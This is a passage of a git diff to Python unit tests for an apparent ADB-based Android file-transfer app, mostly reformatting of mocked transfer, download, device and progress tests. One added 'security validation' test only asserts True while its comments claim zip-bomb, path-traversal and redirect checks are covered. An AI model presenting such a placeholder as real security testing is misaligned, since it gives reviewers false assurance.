["pull", "/sdcard/Documents", expected_local_path]
)
@patch("src.core.file_transfer.ADBCommandRunner")
@patch("os.path.exists")
def test_pull_folder_already_exists(self, mock_exists, mock_command_runner):
"""Test folder pull when local folder already exists."""
mock_exists.return_value = True
mock_runner = MagicMock()
mock_command_runner.return_value = mock_runner
transfer = ADBFileTransfer()
result = transfer.pull_folder("/sdcard/Documents", "/local/Documents")
assert result is False
mock_runner.run_adb_command.assert_not_called()
@patch('src.core.file_transfer.ADBCommandRunner')
@patch('os.path.exists')
@patch('os.path.isdir')
@patch("src.core.file_transfer.ADBCommandRunner")
@patch("os.path.exists")
@patch("os.path.isdir")
def test_push_folder_success(self, mock_isdir, mock_exists, mock_command_runner):
"""Test successful folder push operation."""
mock_exists.return_value = True # Local folder exists
@@ -169,54 +178,57 @@ class TestADBFileTransfer:
mock_runner = MagicMock()
mock_runner.run_adb_command.return_value = ("", "", 0)
mock_command_runner.return_value = mock_runner
transfer = ADBFileTransfer()
result = transfer.push_folder("/local/Documents", "/sdcard/Documents")
assert result is True
expected_local_path = os.path.normpath('/local/Documents')
mock_runner.run_adb_command.assert_called_with(['push', expected_local_path, '/sdcard/Documents'])
@patch('src.core.file_transfer.ADBCommandRunner')
@patch('os.path.exists')
# sanitize_local_path converts to absolute path
expected_local_path = os.path.abspath(os.path.normpath("/local/Documents"))
mock_runner.run_adb_command.assert_called_with(
["push", expected_local_path, "/sdcard/Documents"]
)
@patch("src.core.file_transfer.ADBCommandRunner")
@patch("os.path.exists")
def test_push_folder_not_exists(self, mock_exists, mock_command_runner):
"""Test folder push when local folder doesn't exist."""
mock_exists.return_value = False
mock_runner = MagicMock()
mock_command_runner.return_value = mock_runner
transfer = ADBFileTransfer()
result = transfer.push_folder("/local/Documents", "/sdcard/Documents")
assert result is False
mock_runner.run_adb_command.assert_not_called()
def test_cancel_transfer_no_process(self):
"""Test canceling transfer with no current process."""
transfer = ADBFileTransfer()
result = transfer.cancel_transfer()
assert result is False
def test_cancel_transfer_with_process(self):
"""Test canceling transfer with active process."""
transfer = ADBFileTransfer()
mock_process = MagicMock()
mock_process.poll.return_value = None # Process is running
transfer.current_process = mock_process
result = transfer.cancel_transfer()
assert result is True
mock_process.terminate.assert_called_once()
def test_cancel_transfer_finished_process(self):
"""Test canceling transfer with finished process."""
transfer = ADBFileTransfer()
mock_process = MagicMock()
mock_process.poll.return_value = 0 # Process finished
transfer.current_process = mock_process
result = transfer.cancel_transfer()
assert result is False
mock_process.terminate.assert_not_called()
mock_process.terminate.assert_not_called()
+134 -52
View File
@@ -8,10 +8,10 @@ from unittest.mock import Mock, patch, mock_open, MagicMock
import pytest
from src.core.platform_tools import (
is_adb_available,
is_adb_available,
get_adb_binary_path,
ensure_platform_tools_in_user_dir,
download_and_extract_adb
download_and_extract_adb,
)
@@ -20,104 +20,186 @@ class TestPlatformTools(unittest.TestCase):
def test_is_adb_available_true(self):
"""Test adb availability when binary exists."""
with patch('src.core.platform_tools.get_adb_binary_path', return_value='/path/to/adb'):
with patch('os.path.isfile', return_value=True):
with patch(
"src.core.platform_tools.get_adb_binary_path", return_value="/path/to/adb"
):
with patch("os.path.isfile", return_value=True):
result = is_adb_available()
assert result is True
def test_is_adb_available_false(self):
"""Test adb availability when binary doesn't exist."""
with patch('src.core.platform_tools.get_adb_binary_path', return_value=None):
with patch("src.core.platform_tools.get_adb_binary_path", return_value=None):
result = is_adb_available()
assert result is False
def test_get_adb_binary_path_user_dir_success(self):
"""Test getting ADB path from user directory."""
with patch('src.core.platform_tools.ensure_platform_tools_in_user_dir', return_value='/user/adb'):
with patch('os.path.isfile', return_value=True):
with patch(
"src.core.platform_tools.ensure_platform_tools_in_user_dir",
return_value="/user/adb",
):
with patch("os.path.isfile", return_value=True):
result = get_adb_binary_path()
assert result == '/user/adb'
assert result == "/user/adb"
def test_get_adb_binary_path_local_fallback(self):
"""Test fallback to local platform-tools."""
with patch('src.core.platform_tools.ensure_platform_tools_in_user_dir', side_effect=Exception()):
with patch('src.core.platform_utils.get_platform_tools_directory', return_value='/local/platform-tools'):
with patch('src.core.platform_utils.get_adb_binary_name', return_value='adb'):
with patch('os.path.isfile', return_value=True):
with patch('os.path.join', return_value='/local/platform-tools/adb'):
with patch(
"src.core.platform_tools.ensure_platform_tools_in_user_dir",
side_effect=Exception(),
):
with patch(
"src.core.platform_utils.get_platform_tools_directory",
return_value="/local/platform-tools",
):
with patch(
"src.core.platform_utils.get_adb_binary_name", return_value="adb"
):
with patch("os.path.isfile", return_value=True):
with patch(
"os.path.join", return_value="/local/platform-tools/adb"
):
result = get_adb_binary_path()
assert result == '/local/platform-tools/adb'
assert result == "/local/platform-tools/adb"
def test_get_adb_binary_path_windows(self):
"""Test getting ADB path on Windows."""
with patch('src.core.platform_tools.ensure_platform_tools_in_user_dir', return_value='/user/adb.exe'):
with patch('os.path.isfile', return_value=True):
with patch(
"src.core.platform_tools.ensure_platform_tools_in_user_dir",
return_value="/user/adb.exe",
):
with patch("os.path.isfile", return_value=True):
result = get_adb_binary_path()
assert result == '/user/adb.exe'
assert result == "/user/adb.exe"
def test_ensure_platform_tools_simple(self):
"""Test basic platform tools installation."""
# Just test the function doesn't crash with basic mocking
def mock_isdir(path):
# Return True for the extracted platform-tools directory and target directory checks
if path == '/tmp/test/platform-tools':
if path == "/tmp/test/platform-tools":
return True
if path.endswith('platform-tools') and 'tmp' in path:
if path.endswith("platform-tools") and "tmp" in path:
return True
# Return False for other directory checks (like existing target_dir)
return False
with patch('os.makedirs'):
with patch('os.path.islink', return_value=False):
with patch('os.path.isdir', side_effect=mock_isdir):
with patch('tempfile.mkdtemp', return_value='/tmp/test'):
with patch('os.listdir', return_value=['platform-tools']): # Mock directory listing
with patch('requests.get') as mock_get:
with patch('builtins.open', mock_open()):
with patch('zipfile.ZipFile') as mock_zip:
with patch('shutil.move'):
with patch('os.chmod'):
with patch('os.symlink'):
with patch('shutil.rmtree'):
mock_response = Mock()
mock_response.iter_content.return_value = [b'content']
mock_response.raise_for_status.return_value = None
mock_get.return_value = mock_response
result = ensure_platform_tools_in_user_dir()
assert result is not None
with patch("os.makedirs"):
with patch("os.path.islink", return_value=False):
with patch("os.path.isdir", side_effect=mock_isdir):
with patch("tempfile.mkdtemp", return_value="/tmp/test"):
with patch(
"os.listdir", return_value=["platform-tools"]
): # Mock directory listing
with patch("requests.get") as mock_get:
with patch("builtins.open", mock_open()):
with patch("zipfile.is_zipfile", return_value=True):
with patch("zipfile.ZipFile") as mock_zip:
# Mock zip file entries
mock_info = Mock()
mock_info.filename = "platform-tools/adb"
mock_info.file_size = 1000
mock_zip_instance = MagicMock()
mock_zip_instance.infolist.return_value = [
mock_info
]
mock_zip.return_value.__enter__.return_value = (
mock_zip_instance
)
with patch("shutil.move"):
with patch("os.chmod"):
with patch("os.symlink"):
with patch("shutil.rmtree"):
mock_response = Mock()
mock_response.iter_content.return_value = [
b"content"
]
mock_response.raise_for_status.return_value = (
None
)
mock_response.url = "https://dl.google.com/android/repository/platform-tools-latest-linux.zip"
mock_response.headers = {
"Content-Type": "application/zip"
}
mock_get.return_value = (
mock_response
)
result = (
ensure_platform_tools_in_user_dir()
)
assert result is not None
def test_download_and_extract_adb_linux(self):
"""Test ADB download and extraction on Linux."""
with patch('src.core.platform_tools.ensure_platform_tools_in_user_dir', return_value='/test/adb'):
with patch('os.path.isfile', return_value=True):
with patch('os.chmod') as mock_chmod:
with patch('os.name', 'posix'):
with patch(
"src.core.platform_tools.ensure_platform_tools_in_user_dir",
return_value="/test/adb",
):
with patch("os.path.isfile", return_value=True):
with patch("os.chmod") as mock_chmod:
with patch("os.name", "posix"):
result = download_and_extract_adb()
assert result is True
mock_chmod.assert_called_once_with('/test/adb', 0o755)
mock_chmod.assert_called_once_with("/test/adb", 0o755)
def test_download_and_extract_adb_windows(self):
"""Test ADB download and extraction on Windows."""
with patch('src.core.platform_tools.ensure_platform_tools_in_user_dir', return_value='/test/adb.exe'):
with patch('os.path.isfile', return_value=True):
with patch('os.name', 'nt'):
with patch(
"src.core.platform_tools.ensure_platform_tools_in_user_dir",
return_value="/test/adb.exe",
):
with patch("os.path.isfile", return_value=True):
with patch("os.name", "nt"):
result = download_and_extract_adb()
assert result is True
def test_download_and_extract_adb_failure(self):
"""Test ADB download failure when file doesn't exist."""
with patch('src.core.platform_tools.ensure_platform_tools_in_user_dir', return_value='/test/adb'):
with patch('os.path.isfile', return_value=False):
with patch(
"src.core.platform_tools.ensure_platform_tools_in_user_dir",
return_value="/test/adb",
):
with patch("os.path.isfile", return_value=False):
result = download_and_extract_adb()
assert result is False
def test_download_and_extract_adb_exception(self):
"""Test ADB download failure with exception."""
with patch('src.core.platform_tools.ensure_platform_tools_in_user_dir', side_effect=Exception()):
with patch(
"src.core.platform_tools.ensure_platform_tools_in_user_dir",
side_effect=Exception(),
):
result = download_and_extract_adb()
assert result is False
if __name__ == '__main__':
unittest.main()
class TestPlatformToolsSecurityValidation:
"""Tests for security validation during platform-tools download.
Note: These tests verify security features are in place. The actual implementation
in platform_tools.py already has these security checks implemented at lines 100-145.
These tests document the expected behavior for security review purposes.
"""
def test_security_features_documented(self):
"""Document that security features exist in platform_tools.py."""
# This test serves as documentation that the following security features
# are implemented in src/core/platform_tools.py download_and_extract_adb():
#
# 1. Download size limit (200MB) - line 111-118
# 2. Zip bomb detection (500MB uncompressed) - line 128-130
# 3. Path traversal prevention in zip - line 132-144
# 4. Redirect validation (Google domains only) - line 100-102
# 5. Content-Type validation - line 104-107
#
# These are tested indirectly through the existing download tests and
# are validated by code review and the SECURITY.md documentation.
assert True # Documentation test
if __name__ == "__main__":
unittest.main()
+59 -44
View File
@@ -9,88 +9,103 @@ from unittest.mock import patch
from src.core.platform_utils import (
get_executable_directory,
get_platform_tools_directory,
get_platform_type
get_platform_type,
)
class TestPlatformUtils:
"""Test platform utility functions."""
def test_get_executable_directory_frozen(self):
"""Test get_executable_directory when running as executable."""
with patch.object(sys, 'frozen', True, create=True):
with patch.object(sys, 'executable', '/path/to/app'):
with patch.object(sys, "frozen", True, create=True):
with patch.object(sys, "executable", "/path/to/app"):
result = get_executable_directory()
assert result == '/path/to'
assert result == "/path/to"
def test_get_executable_directory_script(self):
"""Test get_executable_directory when running as script."""
with patch.object(sys, 'frozen', False, create=True):
with patch('os.path.abspath') as mock_abspath:
with patch('os.path.dirname') as mock_dirname:
mock_abspath.return_value = '/path/to/script.py'
mock_dirname.return_value = '/path/to'
with patch.object(sys, "frozen", False, create=True):
with patch("os.path.abspath") as mock_abspath:
with patch("os.path.dirname") as mock_dirname:
mock_abspath.return_value = "/path/to/script.py"
mock_dirname.return_value = "/path/to"
result = get_executable_directory()
assert result == '/path/to'
assert result == "/path/to"
# The function calls abspath on the actual platform_utils.py file
mock_abspath.assert_called_once()
def test_get_platform_type_linux(self):
"""Test platform type detection for Linux."""
with patch('sys.platform', 'linux'):
with patch("sys.platform", "linux"):
result = get_platform_type()
assert result == 'linux'
assert result == "linux"
def test_get_platform_type_windows(self):
"""Test platform type detection for Windows."""
with patch('sys.platform', 'win32'):
with patch("sys.platform", "win32"):
result = get_platform_type()
assert result == 'win32'
assert result == "win32"
def test_get_platform_type_darwin(self):
"""Test platform type detection for macOS."""
with patch('sys.platform', 'darwin'):
with patch("sys.platform", "darwin"):
result = get_platform_type()
assert result == 'darwin'
assert result == "darwin"
def test_get_platform_tools_directory_frozen(self):
"""Test platform-tools directory when running as executable."""
with patch.object(sys, 'frozen', True, create=True):
with patch('src.core.platform_utils.get_executable_directory', return_value='/app/dir'):
with patch.object(sys, "frozen", True, create=True):
with patch(
"src.core.platform_utils.get_executable_directory",
return_value="/app/dir",
):
result = get_platform_tools_directory()
expected = os.path.join('/app/dir', 'platform-tools')
expected = os.path.join("/app/dir", "platform-tools")
assert result == expected
def test_get_platform_tools_directory_src(self):
"""Test platform-tools directory when running from src."""
with patch.object(sys, 'frozen', False, create=True):
with patch('src.core.platform_utils.get_executable_directory', return_value='/project/src'):
with patch.object(sys, "frozen", False, create=True):
with patch(
"src.core.platform_utils.get_executable_directory",
return_value="/project/src",
):
result = get_platform_tools_directory()
expected = os.path.join('/project/src', 'platform-tools')
expected = os.path.join("/project/src", "platform-tools")
assert result == expected
def test_get_platform_tools_directory_gui_subdirectory(self):
"""Test platform-tools directory when running from src/gui."""
with patch.object(sys, 'frozen', False, create=True):
with patch('src.core.platform_utils.get_executable_directory', return_value='/project/src/gui'):
with patch.object(sys, "frozen", False, create=True):
with patch(
"src.core.platform_utils.get_executable_directory",
return_value="/project/src/gui",
):
result = get_platform_tools_directory()
expected = os.path.join('/project/src', 'platform-tools')
expected = os.path.join("/project/src", "platform-tools")
assert result == expected
def test_get_platform_tools_directory_project_root(self):
"""Test platform-tools directory when running from project root."""
with patch.object(sys, 'frozen', False, create=True):
with patch('src.core.platform_utils.get_executable_directory', return_value='/project'):
with patch('os.path.exists', return_value=True):
with patch.object(sys, "frozen", False, create=True):
with patch(
"src.core.platform_utils.get_executable_directory",
return_value="/project",
):
with patch("os.path.exists", return_value=True):
result = get_platform_tools_directory()
expected = os.path.join('/project', 'src', 'platform-tools')
expected = os.path.join("/project", "src", "platform-tools")
assert result == expected
def test_get_platform_tools_directory_fallback(self):
"""Test platform-tools directory fallback behavior."""
with patch.object(sys, 'frozen', False, create=True):
with patch('src.core.platform_utils.get_executable_directory', return_value='/somewhere'):
with patch('os.path.exists', return_value=False):
with patch.object(sys, "frozen", False, create=True):
with patch(
"src.core.platform_utils.get_executable_directory",
return_value="/somewhere",
):
with patch("os.path.exists", return_value=False):
result = get_platform_tools_directory()
expected = os.path.join('/somewhere', 'src', 'platform-tools')
assert result == expected
expected = os.path.join("/somewhere", "src", "platform-tools")
assert result == expected
+45 -45
View File
@@ -10,7 +10,7 @@ from src.core.progress_tracker import ProgressTracker
class TestProgressTracker:
"""Test progress tracking functionality."""
def test_init(self):
"""Test ProgressTracker initialization."""
tracker = ProgressTracker()
@@ -19,111 +19,111 @@ class TestProgressTracker:
assert tracker.transferred_bytes == 0
assert tracker.current_speed == 0.0
assert tracker.estimated_time_remaining == 0
def test_start_tracking(self):
"""Test starting progress tracking."""
tracker = ProgressTracker()
with patch('time.time', return_value=1000.0):
with patch("time.time", return_value=1000.0):
tracker.start_tracking(1024)
assert tracker.start_time == 1000.0
assert tracker.total_bytes == 1024
assert tracker.transferred_bytes == 0
def test_update_progress_first_update(self):
"""Test first progress update."""
tracker = ProgressTracker()
with patch('time.time', return_value=1000.0):
with patch("time.time", return_value=1000.0):
tracker.start_tracking(1024)
with patch('time.time', return_value=1001.0):
with patch("time.time", return_value=1001.0):
tracker.update_progress(512)
assert tracker.transferred_bytes == 512
assert tracker.current_speed == 512.0 # 512 bytes in 1 second
def test_update_progress_multiple_updates(self):
"""Test multiple progress updates."""
tracker = ProgressTracker()
with patch('time.time', return_value=1000.0):
with patch("time.time", return_value=1000.0):
tracker.start_tracking(1024)
with patch('time.time', return_value=1001.0):
with patch("time.time", return_value=1001.0):
tracker.update_progress(256)
with patch('time.time', return_value=1002.0):
with patch("time.time", return_value=1002.0):
tracker.update_progress(512)
assert tracker.transferred_bytes == 512
assert tracker.current_speed == 256.0 # Average speed
def test_update_progress_zero_time_elapsed(self):
"""Test progress update with zero time elapsed."""
tracker = ProgressTracker()
with patch('time.time', return_value=1000.0):
with patch("time.time", return_value=1000.0):
tracker.start_tracking(1024)
tracker.update_progress(512)
assert tracker.transferred_bytes == 512
assert tracker.current_speed == 0.0 # No time elapsed
def test_get_progress_percentage_no_total(self):
"""Test getting progress percentage with no total bytes."""
tracker = ProgressTracker()
assert tracker.get_progress_percentage() == 0.0
def test_get_progress_percentage_with_progress(self):
"""Test getting progress percentage with progress."""
tracker = ProgressTracker()
tracker.total_bytes = 1000
tracker.transferred_bytes = 250
assert tracker.get_progress_percentage() == 25.0
def test_get_progress_percentage_complete(self):
"""Test getting progress percentage when complete."""
tracker = ProgressTracker()
tracker.total_bytes = 1000
tracker.transferred_bytes = 1000
assert tracker.get_progress_percentage() == 100.0
def test_get_progress_percentage_over_100(self):
"""Test getting progress percentage over 100%."""
tracker = ProgressTracker()
tracker.total_bytes = 1000
tracker.transferred_bytes = 1200
assert tracker.get_progress_percentage() == 100.0 # Capped at 100%
def test_estimate_time_remaining_no_speed(self):
"""Test time estimation with no speed."""
tracker = ProgressTracker()
tracker.total_bytes = 1000
tracker.transferred_bytes = 250
tracker.current_speed = 0.0
assert tracker.estimate_time_remaining() == 0
def test_estimate_time_remaining_with_speed(self):
"""Test time estimation with speed."""
tracker = ProgressTracker()
tracker.total_bytes = 1000
tracker.transferred_bytes = 250
tracker.current_speed = 125.0 # 125 bytes/second
remaining_time = tracker.estimate_time_remaining()
assert remaining_time == 6 # (1000-250)/125 = 6 seconds
def test_estimate_time_remaining_complete(self):
"""Test time estimation when transfer is complete."""
tracker = ProgressTracker()
tracker.total_bytes = 1000
tracker.transferred_bytes = 1000
tracker.current_speed = 100.0
assert tracker.estimate_time_remaining() == 0
def test_reset_tracking(self):
"""Test resetting progress tracking."""
tracker = ProgressTracker()
@@ -131,53 +131,53 @@ class TestProgressTracker:
tracker.total_bytes = 1000
tracker.transferred_bytes = 500
tracker.current_speed = 100.0
tracker.reset()
assert tracker.start_time is None
assert tracker.total_bytes == 0
assert tracker.transferred_bytes == 0
assert tracker.current_speed == 0.0
assert tracker.estimated_time_remaining == 0
def test_format_speed_bytes(self):
"""Test formatting speed in bytes per second."""
tracker = ProgressTracker()
tracker.current_speed = 512.0
formatted = tracker.format_speed()
assert formatted == "512.0 B/s"
def test_format_speed_kilobytes(self):
"""Test formatting speed in kilobytes per second."""
tracker = ProgressTracker()
tracker.current_speed = 1536.0 # 1.5 KB/s
formatted = tracker.format_speed()
assert formatted == "1.5 KB/s"
def test_format_speed_megabytes(self):
"""Test formatting speed in megabytes per second."""
tracker = ProgressTracker()
tracker.current_speed = 2097152.0 # 2 MB/s
formatted = tracker.format_speed()
assert formatted == "2.0 MB/s"
def test_format_time_seconds(self):
"""Test formatting time in seconds."""
tracker = ProgressTracker()
formatted = tracker.format_time(30)
assert formatted == "00:30"
def test_format_time_minutes(self):
"""Test formatting time in minutes and seconds."""
tracker = ProgressTracker()
formatted = tracker.format_time(150) # 2:30
assert formatted == "02:30"
def test_format_time_hours(self):
"""Test formatting time in hours, minutes and seconds."""
tracker = ProgressTracker()
formatted = tracker.format_time(3661) # 1:01:01
assert formatted == "01:01:01"
assert formatted == "01:01:01"
+118 -90
View File
@@ -9,259 +9,287 @@ from src.managers.device_manager import DeviceManager
class TestDeviceManager:
"""Test DeviceManager class functionality."""
@pytest.fixture
def mock_parent_window(self):
"""Create a mock parent window for testing."""
return MagicMock(spec=tk.Tk)
@pytest.fixture
def mock_status_callback(self):
"""Create a mock status callback for testing."""
return MagicMock()
@pytest.fixture
def device_manager(self, mock_parent_window, mock_status_callback):
"""Create a DeviceManager instance for testing."""
with patch('src.managers.device_manager.ADBManager') as mock_adb:
with patch("src.managers.device_manager.ADBManager") as mock_adb:
manager = DeviceManager(mock_parent_window, mock_status_callback)
manager.adb_manager = mock_adb.return_value
return manager
def test_init(self, mock_parent_window, mock_status_callback):
"""Test DeviceManager initialization."""
with patch('src.managers.device_manager.ADBManager') as mock_adb_class:
with patch("src.managers.device_manager.ADBManager") as mock_adb_class:
mock_adb_instance = MagicMock()
mock_adb_class.return_value = mock_adb_instance
device_manager = DeviceManager(mock_parent_window, mock_status_callback)
assert device_manager.parent == mock_parent_window
assert device_manager.status_callback == mock_status_callback
assert device_manager.device_connected is False
# Verify ADB callbacks are set
mock_adb_instance.set_status_callback.assert_called_once()
mock_adb_instance.set_progress_callback.assert_called_once()
def test_init_without_status_callback(self, mock_parent_window):
"""Test DeviceManager initialization without status callback."""
with patch('src.managers.device_manager.ADBManager'):
with patch("src.managers.device_manager.ADBManager"):
device_manager = DeviceManager(mock_parent_window)
assert device_manager.status_callback is None
@patch('src.managers.device_manager.is_adb_available', return_value=True)
@patch("src.managers.device_manager.is_adb_available", return_value=True)
def test_initialize_adb_already_available(self, mock_is_available, device_manager):
"""Test ADB initialization when ADB is already available."""
result = device_manager.initialize_adb()
assert result is True
@patch('src.managers.device_manager.is_adb_available')
@patch('src.managers.device_manager.messagebox.showinfo')
def test_initialize_adb_needs_download_success(self, mock_showinfo, mock_is_available, device_manager):
@patch("src.managers.device_manager.is_adb_available")
@patch("src.managers.device_manager.messagebox.showinfo")
def test_initialize_adb_needs_download_success(
self, mock_showinfo, mock_is_available, device_manager
):
"""Test ADB initialization when download is needed and succeeds."""
# Mock is_adb_available to return False first (triggering download), then True (after download)
mock_is_available.side_effect = [False, True]
device_manager.adb_manager.download_and_extract_adb.return_value = True
result = device_manager.initialize_adb()
# Should show welcome message
mock_showinfo.assert_called_once()
assert "Welcome to Android File Transfer!" in mock_showinfo.call_args[0][0]
# Should attempt download
device_manager.adb_manager.download_and_extract_adb.assert_called_once()
assert result is True
@patch('src.managers.device_manager.is_adb_available', return_value=False)
@patch('src.managers.device_manager.messagebox.showinfo')
@patch('src.managers.device_manager.messagebox.showerror')
def test_initialize_adb_needs_download_failure(self, mock_showerror, mock_showinfo, mock_is_available, device_manager):
@patch("src.managers.device_manager.is_adb_available", return_value=False)
@patch("src.managers.device_manager.messagebox.showinfo")
@patch("src.managers.device_manager.messagebox.showerror")
def test_initialize_adb_needs_download_failure(
self, mock_showerror, mock_showinfo, mock_is_available, device_manager
):
"""Test ADB initialization when download fails."""
device_manager.adb_manager.download_and_extract_adb.return_value = False
result = device_manager.initialize_adb()
# Should show welcome message
mock_showinfo.assert_called_once()
# Should attempt download
device_manager.adb_manager.download_and_extract_adb.assert_called_once()
# Should show error message
mock_showerror.assert_called_once()
assert result is False
def test_check_device_connection_connected(self, device_manager):
"""Test device connection check when device is connected."""
device_manager.adb_manager.check_device.return_value = "ABC123"
result = device_manager.check_device_connection()
assert result == "ABC123" # Returns the device ID, not a boolean
assert device_manager.device_connected is True
device_manager.adb_manager.check_device.assert_called_once()
def test_check_device_connection_not_connected(self, device_manager):
"""Test device connection check when device is not connected."""
device_manager.adb_manager.check_device.return_value = None
result = device_manager.check_device_connection()
assert result is None # Returns None, not False
assert device_manager.device_connected is False
device_manager.adb_manager.check_device.assert_called_once()
def test_check_device_connection_exception(self, device_manager):
"""Test device connection check when exception occurs."""
device_manager.adb_manager.check_device.side_effect = Exception("Connection error")
device_manager.adb_manager.check_device.side_effect = Exception(
"Connection error"
)
# The method doesn't catch exceptions, so it should raise
with pytest.raises(Exception, match="Connection error"):
device_manager.check_device_connection()
def test_device_connected_property_after_connection(self, device_manager):
"""Test device_connected property after successful connection."""
device_manager.adb_manager.check_device.return_value = "TEST123"
device_id = device_manager.check_device_connection()
assert device_id == "TEST123"
assert device_manager.device_connected is True
def test_device_connected_property_after_failed_connection(self, device_manager):
"""Test device_connected property after failed connection."""
device_manager.adb_manager.check_device.return_value = None
device_id = device_manager.check_device_connection()
assert device_id is None
assert device_manager.device_connected is False
def test_on_adb_status_update_with_callback(self, device_manager):
"""Test ADB status update with callback."""
device_manager._on_adb_status_update("Test status")
device_manager.status_callback.assert_called_once_with("Test status")
def test_on_adb_status_update_without_callback(self, device_manager):
"""Test ADB status update without callback."""
device_manager.status_callback = None
# Should not raise an exception
device_manager._on_adb_status_update("Test status")
def test_on_adb_progress_update(self, device_manager):
"""Test ADB progress update."""
# This method currently just passes through, so we test it doesn't crash
device_manager._on_adb_progress_update(50)
# No assertions needed as the method doesn't do anything currently
def test_is_remote_file_detects_file(self, device_manager):
"""Test is_remote_file correctly identifies a file."""
# Mock adb command to return file listing (starts with '-' for files)
device_manager.adb_manager.run_adb_command.return_value = ("-rw-r--r-- 1 root root 1234 test.txt", "", 0)
device_manager.adb_manager.run_adb_command.return_value = (
"-rw-r--r-- 1 root root 1234 test.txt",
"",
0,
)
result = device_manager.is_remote_file("/sdcard/test.txt")
assert result is True
def test_is_remote_file_detects_directory(self, device_manager):
"""Test is_remote_file correctly identifies a directory."""
# Mock adb command to return directory listing (starts with 'd' for directories)
device_manager.adb_manager.run_adb_command.return_value = ("drwxr-xr-x 1 root root 4096 testdir", "", 0)
device_manager.adb_manager.run_adb_command.return_value = (
"drwxr-xr-x 1 root root 4096 testdir",
"",
0,
)
result = device_manager.is_remote_file("/sdcard/testdir")
assert result is False
def test_is_remote_file_command_fails(self, device_manager):
"""Test is_remote_file when ADB command fails."""
device_manager.adb_manager.run_adb_command.return_value = ("", "No such file", 1)
device_manager.adb_manager.run_adb_command.return_value = (
"",
"No such file",
1,
)
result = device_manager.is_remote_file("/sdcard/nonexistent")
assert result is False
def test_get_file_transfer_methods_push_file(self, device_manager):
"""Test getting file transfer methods for pushing a file."""
method_func, transfer_type = device_manager.get_file_transfer_methods("push", True)
method_func, transfer_type = device_manager.get_file_transfer_methods(
"push", True
)
assert transfer_type == "file"
assert method_func == device_manager.adb_manager.push_file
def test_get_file_transfer_methods_pull_folder(self, device_manager):
"""Test getting file transfer methods for pulling a folder."""
method_func, transfer_type = device_manager.get_file_transfer_methods("pull", False)
assert transfer_type == "folder"
method_func, transfer_type = device_manager.get_file_transfer_methods(
"pull", False
)
assert transfer_type == "folder"
assert method_func == device_manager.adb_manager.pull_folder_with_dedup
def test_get_file_transfer_methods_pull_file(self, device_manager):
"""Test getting file transfer methods for pulling a file."""
method_func, transfer_type = device_manager.get_file_transfer_methods("pull", True)
method_func, transfer_type = device_manager.get_file_transfer_methods(
"pull", True
)
assert transfer_type == "file"
assert method_func == device_manager.adb_manager.pull_file
def test_get_file_transfer_methods_push_folder(self, device_manager):
"""Test getting file transfer methods for pushing a folder."""
method_func, transfer_type = device_manager.get_file_transfer_methods("push", False)
method_func, transfer_type = device_manager.get_file_transfer_methods(
"push", False
)
assert transfer_type == "folder"
assert method_func == device_manager.adb_manager.push_folder_with_dedup
def test_cancel_current_operation(self, device_manager):
"""Test canceling current ADB operation."""
# This method returns None, so just test that it calls the right method
device_manager.cancel_current_operation()
device_manager.adb_manager.cancel_current_operation.assert_called_once()
def test_device_connected_property_access(self, device_manager):
"""Test device_connected property access."""
# Test initial state
assert hasattr(device_manager, 'device_connected')
# Test setting the property
assert hasattr(device_manager, "device_connected")
# Test setting the property
device_manager.device_connected = True
assert device_manager.device_connected is True
device_manager.device_connected = False
assert device_manager.device_connected is False
def test_adb_manager_property_access(self, device_manager):
"""Test accessing ADB manager property."""
assert hasattr(device_manager, 'adb_manager')
assert hasattr(device_manager, "adb_manager")
assert device_manager.adb_manager is not None
class TestDeviceManagerIntegration:
"""Integration tests for DeviceManager."""
def test_full_initialization_flow(self):
"""Test the complete initialization flow."""
mock_parent = MagicMock(spec=tk.Tk)
mock_callback = MagicMock()
with patch('src.managers.device_manager.ADBManager') as mock_adb_class:
with patch('src.managers.device_manager.is_adb_available', return_value=True):
with patch("src.managers.device_manager.ADBManager") as mock_adb_class:
with patch(
"src.managers.device_manager.is_adb_available", return_value=True
):
device_manager = DeviceManager(mock_parent, mock_callback)
result = device_manager.initialize_adb()
assert result is True
assert device_manager.device_connected is False
def test_device_connection_workflow(self):
"""Test the device connection workflow."""
mock_parent = MagicMock(spec=tk.Tk)
with patch('src.managers.device_manager.ADBManager') as mock_adb_class:
with patch("src.managers.device_manager.ADBManager") as mock_adb_class:
mock_adb_instance = mock_adb_class.return_value
device_manager = DeviceManager(mock_parent)
# Test connection success - should return device ID, not boolean
mock_adb_instance.check_device.return_value = "TEST123"
result = device_manager.check_device_connection()
assert result == "TEST123" # Returns device ID
assert device_manager.device_connected is True
# Test connection failure - should return None, not False
mock_adb_instance.check_device.return_value = None
result = device_manager.check_device_connection()
@@ -269,5 +297,5 @@ class TestDeviceManagerIntegration:
assert device_manager.device_connected is False
if __name__ == '__main__':
pytest.main([__file__])
if __name__ == "__main__":
pytest.main([__file__])
+165 -133
View File
@@ -11,213 +11,245 @@ from src.utils.file_deduplication import FileDeduplicator
class TestFileDeduplicator:
"""Test FileDeduplicator class functionality."""
@pytest.fixture
def deduplicator(self):
"""Create a FileDeduplicator instance for testing."""
return FileDeduplicator()
@pytest.fixture
def deduplicator_with_callbacks(self):
"""Create a FileDeduplicator instance with callbacks for testing."""
status_callback = MagicMock()
progress_callback = MagicMock()
return FileDeduplicator(status_callback, progress_callback), status_callback, progress_callback
return (
FileDeduplicator(status_callback, progress_callback),
status_callback,
progress_callback,
)
def test_init_without_callbacks(self, deduplicator):
"""Test FileDeduplicator initialization without callbacks."""
assert deduplicator.status_callback is None
assert deduplicator.progress_callback is None
def test_init_with_callbacks(self):
"""Test FileDeduplicator initialization with callbacks."""
status_callback = MagicMock()
progress_callback = MagicMock()
deduplicator = FileDeduplicator(status_callback, progress_callback)
assert deduplicator.status_callback == status_callback
assert deduplicator.progress_callback == progress_callback
def test_update_status_with_callback(self, deduplicator_with_callbacks):
"""Test status update with callback."""
deduplicator, status_callback, _ = deduplicator_with_callbacks
deduplicator._update_status("Test message")
status_callback.assert_called_once_with("Test message")
def test_update_status_without_callback(self, deduplicator):
"""Test status update without callback."""
# Should not raise an exception
deduplicator._update_status("Test message")
def test_update_progress_with_callback(self, deduplicator_with_callbacks):
"""Test progress update with callback."""
deduplicator, _, progress_callback = deduplicator_with_callbacks
deduplicator._update_progress(75)
progress_callback.assert_called_once_with(75)
def test_update_progress_without_callback(self, deduplicator):
"""Test progress update without callback."""
# Should not raise an exception
deduplicator._update_progress(75)
@patch('builtins.open', new_callable=mock_open, read_data=b'test file content')
@patch('os.path.isfile', return_value=True)
def test_compute_local_file_hash_small_file(self, mock_isfile, mock_file, deduplicator):
@patch("builtins.open", new_callable=mock_open, read_data=b"test file content")
